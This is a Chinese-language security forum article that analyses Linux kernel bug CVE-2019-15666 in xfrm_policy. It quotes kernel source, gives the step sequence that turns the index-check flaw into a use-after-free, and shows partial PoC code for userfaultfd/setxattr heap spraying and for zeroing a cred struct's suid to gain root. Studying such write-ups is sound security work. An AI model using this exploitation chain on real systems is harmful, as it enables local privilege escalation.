查看原文
其他

CVE-2019-15666 xfrm_policy 提权漏洞

inquisiter 看雪学苑 2022-07-01

本文为看雪论坛精华文章

看雪论坛作者ID:inquisiter





一. 简介


这个漏洞比较强,官方说明漏洞只会导致拒绝服务攻击,但实际上利用得当可以实现提权。影响范围3.x-5.x。
 
漏洞成因,数组越界。需要需要插入用户定义的 index timer set。

XFRM_MSG_NEWSA请求的路劲添加policy。
 
添加policy需要通过verify_newpolicy_info的认证。但漏洞版本认证缺陷。
https://duasynt.com/blog/ubuntu-centos-redhat-privesc





二. uaf形成


通过两次add_policy,释放后会导致其中一个bin 释放不完全。

static int xfrm_add_policy(struct sk_buff *skb, struct nlmsghdr *nlh,struct nlattr **attrs){struct net *net = sock_net(skb->sk);struct xfrm_userpolicy_info *p = nlmsg_data(nlh);struct xfrm_policy *xp;struct km_event c;int err;int excl;err = verify_newpolicy_info(p); [1]if (err)return err;err = verify_sec_ctx_len(attrs);if (err)return err;c 2020 DUASYNT Pty Ltd Page 1 of 6Technical report: 01-0311-2018 rev 0.2xp = xfrm_policy_construct(net, p, attrs, &err);if (!xp)return err;excl = nlh->nlmsg_type == XFRM_MSG_NEWPOLICY;err = xfrm_policy_insert(p->dir, xp, excl); [2]xfrm_audit_policy_add(xp, err ? 0 : 1, true);...

static int verify_newpolicy_info(struct xfrm_userpolicy_info *p){...ret = verify_policy_dir(p->dir); [3]if (ret)return ret;if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) [4]return -EINVAL;return 0;}

甚至在3.0版本中,根本没有检测。

static int verify_policy_dir(u8 dir){ switch (dir) { case XFRM_POLICY_IN: case XFRM_POLICY_OUT: case XFRM_POLICY_FWD: break; default: return -EINVAL; } return 0;}

伪造index = 4 , direction = 0; 将可以通过所有的认证。
 
触发越界位于 xfrm_policy_timer函数中。

if (unlikely(xp->walk.dead))goto out;dir = xfrm_policy_id2dir(xp->index); [5] index = 4 dir = 4...expired:read_unlock(&xp->lock);if (!xfrm_policy_delete(xp, dir)) [6]km_policy_expired(xp, dir, 1, 0);xfrm_pol_put(xp);}


其中 利用 xfrm_policy_id2dir();计算了direction。但是 static inline int xfrm_policy_id2dir(u32 index){return index & 7;}


4 & 7 = 4 ; [6]越界行为,4 & 3 =0。

static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,int dir){struct net *net = xp_net(pol);if (list_empty(&pol->walk.all))return NULL;/* Socket policies are not hashed. */if (!hlist_unhashed(&pol->bydst)) {hlist_del_rcu(&pol->bydst);hlist_del(&pol->byidx);}list_del_init(&pol->walk.all);net->xfrm.policy_count[dir]--; [7]return pol;}

1. The first policy object is inserted with index 0 (auto-generated by the subsystem), direction 0 and
priority 0.

2. The second policy object is inserted with the user-defined index = 4, direction 0, priority 1 (> 0) and
a timer set.

3. XFRM_SPD_IPV4_HTHRESH request is issued to trigger policy rehashing.

4. XFRM_FLUSH_POLICY request is issued freeing the first policy.

5. Once the timer expires on the second policy, UAF is triggered on the first policy that was freed in the
previous step

步骤三 . XFRM_SPD_IPV4_HTHRESH executes the following function re-inserting existing policies in reverse order into the bydst
list:

大致意思是通过HTRESH刷新二次插入bydst。

static void xfrm_hash_rebuild(struct work_struct *work){.../* re-insert all policies by order of creation */list_for_each_entry_reverse(policy, &net->xfrm.policy_all, walk.all) { if (policy->walk.dead || xfrm_policy_id2dir(policy->index) >= XFRM_POLICY_MAX) { [8] /* skip socket policies */ continue; } newpos = NULL; chain = policy_hash_bysel(net, &policy->selector, policy->family, xfrm_policy_id2dir(policy->index)); hlist_for_each_entry(pol, chain, bydst) { if (policy->priority >= pol->priority) newpos = &pol->bydst; else break; } if (newpos) hlist_add_behind(&policy->bydst, newpos); else hlist_add_head(&policy->bydst, chain); }

However, the second policy with index 4 (4 & 7 = 4 is
now checked against XFRM POLICY MAX = 3 causing this policy to be skipped and not reinserted into the
bydst policy list.
 
setp 4: the request to flush policies frees the first policy in [9], leaving the second policy object in its own
disjoint state:

int xfrm_policy_flush(struct net *net, u8 type, bool task_valid){...for (dir = 0; dir < XFRM_POLICY_MAX; dir++) { struct xfrm_policy *pol; int i; again1: hlist_for_each_entry(pol, &net->xfrm.policy_inexact[dir], bydst) { if (pol->type != type) continue; __xfrm_policy_unlink(pol, dir); spin_unlock_bh(&net->xfrm.xfrm_policy_lock); cnt++; xfrm_audit_policy_delete(pol, 1, task_valid); xfrm_policy_kill(pol); [9]... When the preset timer expires on the second policy, the following execution path calls the unlink operationon the second policy leading to UAF write in [10]: static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,int dir){ struct net *net = xp_net(pol); if (list_empty(&pol->walk.all)) return NULL; /* Socket policies are not hashed. */ if (!hlist_unhashed(&pol->bydst)) { hlist_del_rcu(&pol->bydst); [10] hlist_del(&pol->byidx); } list_del_init(&pol->walk.all); net->xfrm.policy_count[dir]--; return pol;}

hlist del rcu then executes hlist del on the bydst list pointer in the second policy object:static inline void __hlist_del(struct hlist_node *n){struct hlist_node *next = n->next;struct hlist_node **pprev = n->pprev;WRITE_ONCE(*pprev, next); [11]if (next)next->pprev = pprev;}

The pprev pointer in the second policy object still references the freed first policy. Hence, the next pointer.

in the freed object gets overwritten with 0 (8-byte write) in [11].
期间,二次插入后效果如图,现在删除pol1。
next = pol1->next = NULL;
pprev = pol1->pprev = pol2;

 
*pprev = next ==> pol2->next = NULL;
next->pprev = pprev 没有操作。

最终:
pol2->pprev = pol1。pol2还引用这释放后的pol1值。堆喷站位。
 
删除pol2
next = pol2->next =NULL
pprev = pol2->pprev =pol1
 
pprev = next ==> pol1->next = NULL
next->pprev = pprev ==> 没有操作;
 
那么我们就可以在二次分配的内存中写入八字节的0;也就是改写struct xfrm_policy 结构体的 位于bydst的元素。
 
也就是说,如果我们控制了pol1->next的指针,就是一个地址写0的漏洞。





二. poc实现利用


整个poc利用uffd监控缺页异常,并通过用户态对缺页进行填充。

static pthread_t spray_setxattr(int flag, int idx){ pthread_t ret; void *addr; addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */ if (!addr) { perror("mmap"); exit(-1); } ret = uffd_setup(addr, 0x1000, flag, idx); sem_wait(&shmaddr[idx]); if (flag) { int c; read(pipedes1[0], &c, 1); } setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */ return ret;} void *addr; addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000); sem_post(&shmaddr[idx + 1]); int c; read(pipedes0[0], &c, 1); struct uffdio_copy io_copy; char src[0x1000]; io_copy.dst = (unsigned long)addr; io_copy.src = (unsigned long)src; io_copy.len = 0x1000; io_copy.mode = 0; if ((idx > (SEM_MAX - 1)) || (idx < 205)) { sleep(1); if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) perror("UFFDIO_COPY"); } else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) { perror("UFFDIO_COPY"); } sleep(3);

本来有个setup_sandbox启用子命名空间,但是被注释掉了。

对缺页进行填充的数据居然不用填。堆喷后的uaf到底执行了什么。单从数据来看,什么也没传进去。

开始没明白,后来看了这个 https://xz.aliyun.com/t/2814。

原来又是一个高端的堆喷技巧,userfaultfd setxattr 精确堆喷的技巧。
 
while true; do ./test && break; done





三. 完成提权


大致懂了,通过不断竞争,我们要实现的是在新建的进程的cred结构体中 任意ruid euid suid置零的操作,通过我们的置零uaf。但其实本身这并不是通常的uaf利用过程,而且能不能提权全靠运气,但是大部分情况还真能。不得不服。

struct cred { atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif uid_t uid; /* real UID of the task */ gid_t gid; /* real GID of the task */ uid_t suid; /* saved UID of the task */ gid_t sgid; /* saved GID of the task */ uid_t euid; /* effective UID of the task */ gid_t egid; /* effective GID of the task */ uid_t fsuid; /* UID for VFS ops */ gid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */......};

struct xfrm_policy {#ifdef CONFIG_NET_NS struct net *xp_net;#endif struct hlist_node bydst; struct hlist_node byidx;.....}; typedef __kernel_uid32_t uid_t;
cred 结构 usage 32位。uid_t 也是32位。也就是说到suid,刚好是12byte。而xfrm_policy到开始待bydst刚好也是12byte。

神奇的事发生了,利用堆喷完成 超级多的 Small bin。而且这两结构体都在smallbin中。

也就是说,提权的程序产生的新进程中的肯定会用到堆喷的small bin。当xfrm_policy发生uaf后,12byte的small bin刚好被重置位零,也就是suid变成了0。

那么拥有suid = 0的进程就可以成功的利用seteuid, setresuid提权成功。至此全篇结束。
 
参考:
https://duasynt.com/blog/ubuntu-centos-redhat-privesc


- End -



看雪ID:inquisiter

https://bbs.pediy.com/user-home-734587.htm

  *本文由看雪论坛 inquisiter 原创,转载请注明来自看雪社区。



2.5折优惠票数量有限,先到先得哦!

推荐文章++++

* 格式化字符串漏洞解析

一个KimsukyAPT样本分析

* 一种基于frida和drony的针对flutter抓包的方法

* Minifilter学习的那些事

* 老树开花,一例新上传的KimSuky老样本分析







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



求分享

求点赞

求在看


“阅读原文”一起来充电吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存